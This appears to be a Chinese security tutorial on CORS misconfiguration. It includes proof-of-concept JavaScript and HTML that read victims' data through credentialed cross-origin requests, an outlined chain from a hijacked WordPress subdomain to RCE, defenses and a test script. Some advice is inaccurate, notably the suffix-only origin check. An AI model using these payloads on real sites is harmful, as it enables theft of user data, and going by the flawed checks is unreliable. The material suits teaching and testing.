通过一系列漏洞突破域名搜索范围限制(给使用CORS的开发者的小提示)
字数 1606 2025-08-20 18:17:31
CORS配置错误漏洞分析与利用教学
前言
跨源资源共享(CORS)是现代Web应用中常见的安全机制,但错误的配置可能导致严重的安全漏洞。本文将通过实际案例详细分析CORS配置错误的几种类型及其利用方法,帮助开发者和安全研究人员更好地理解和防范这类风险。
CORS基础概念
CORS(Cross-Origin Resource Sharing)是一种机制,允许Web应用服务器进行跨域访问控制,从而安全地实现跨域数据传输。正确的CORS配置应严格限制允许的源(Origin),避免敏感数据泄露。
漏洞类型与利用方法
1. 子域名通配符(Subdomain Wildcard)
漏洞特征:
- 服务器响应包含
Access-Control-Allow-Origin: *.example.com - 同时设置了
Access-Control-Allow-Credentials: true
攻击场景:
- 攻击者寻找可控制的子域名(如通过子域名劫持或XSS)
- 在可控子域名上托管恶意脚本
- 诱使用户访问恶意页面
- 脚本通过CORS请求主域名敏感数据
利用代码示例:
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
console.log('获取的数据:', this.responseText);
// 将数据发送到攻击者服务器
}
};
xhttp.open("GET", "https://www.example.com/v/account/welcome/show", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
2. 域名前通配符(Pre Domain Wildcard)
漏洞特征:
- 服务器不验证Origin,直接反射请求中的Origin
- 允许任意域名以目标域名为后缀的请求
攻击方法:
- 注册类似
www.target.com.attacker.com的域名 - 在该域名下托管恶意页面
- 诱使用户访问该页面
利用代码示例:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.target.com/myaccount/deposit.json", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
alert(xhr.response); // 实际攻击中会将数据发送到攻击者服务器
}
}
xhr.send();
}
</script>
<form action="#">
<input type="button" value="点击查看优惠" onclick="submitRequest();" />
</form>
</body>
</html>
3. Origin为空(Null Origin)
漏洞特征:
- 服务器响应包含
Access-Control-Allow-Origin: null - 同时设置了
Access-Control-Allow-Credentials: true
攻击方法:
- 使用沙盒iframe加载data URL
- 在iframe中执行跨域请求
利用代码示例:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://target.com/sensitive-data", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// 处理获取的数据
}
};
xhr.send();
</script>'>
</iframe>
实际案例分析
案例1:子域名通配符+WordPress漏洞链
- 发现主域名配置了不安全的CORS策略:
*.company.com+Allow-Credentials: true - 在废弃的WordPress子站点上通过弱密码获得管理员权限
- 在WordPress站点上植入恶意脚本
- 利用CORS漏洞窃取主域名上的用户数据
- 进一步利用WordPress漏洞实现RCE
关键点:
- 使用IP Logger监控被入侵站点的活动
- 构建完整的攻击链证明漏洞危害性
案例2:域名后缀匹配漏洞
- 发现服务器不验证Origin,直接反射任意以目标域名为后缀的Origin
- 注册
www.target.com.attacker.com域名 - 托管恶意页面诱导用户点击
- 窃取用户在目标站点的敏感数据
防御措施
-
严格限制允许的Origin:
- 避免使用通配符
* - 维护白名单而非使用动态Origin反射
- 避免使用通配符
-
谨慎使用Credentials:
- 除非必要,不要设置
Access-Control-Allow-Credentials: true - 当使用Credentials时,Origin白名单必须明确且有限
- 除非必要,不要设置
-
验证Origin头:
- 检查Origin是否以合法域名结尾
- 验证协议(http/https)和端口
-
其他安全措施:
- 实施CSRF令牌
- 敏感操作要求重新认证
- 定期审计CORS配置
测试工具与方法
-
手动测试:
- 修改Origin头观察响应
- 尝试各种Origin变体(前缀、后缀、大小写等)
-
自动化工具:
- CORS Scanner
- Burp Suite的CORS插件
-
简单本地测试工具:
import requests url = "https://target.com/api/sensitive" headers = {"Origin": "https://attacker.com"} response = requests.get(url, headers=headers) print(response.headers.get("Access-Control-Allow-Origin", "None")) print("Allow-Credentials:", response.headers.get("Access-Control-Allow-Credentials", "false"))
总结
CORS配置错误虽然看似简单,但可能导致严重的敏感数据泄露。开发者必须正确理解CORS机制,实施严格的源验证策略。安全研究人员在测试时应全面考虑各种可能的攻击场景,构建完整的利用链以证明漏洞的实际危害。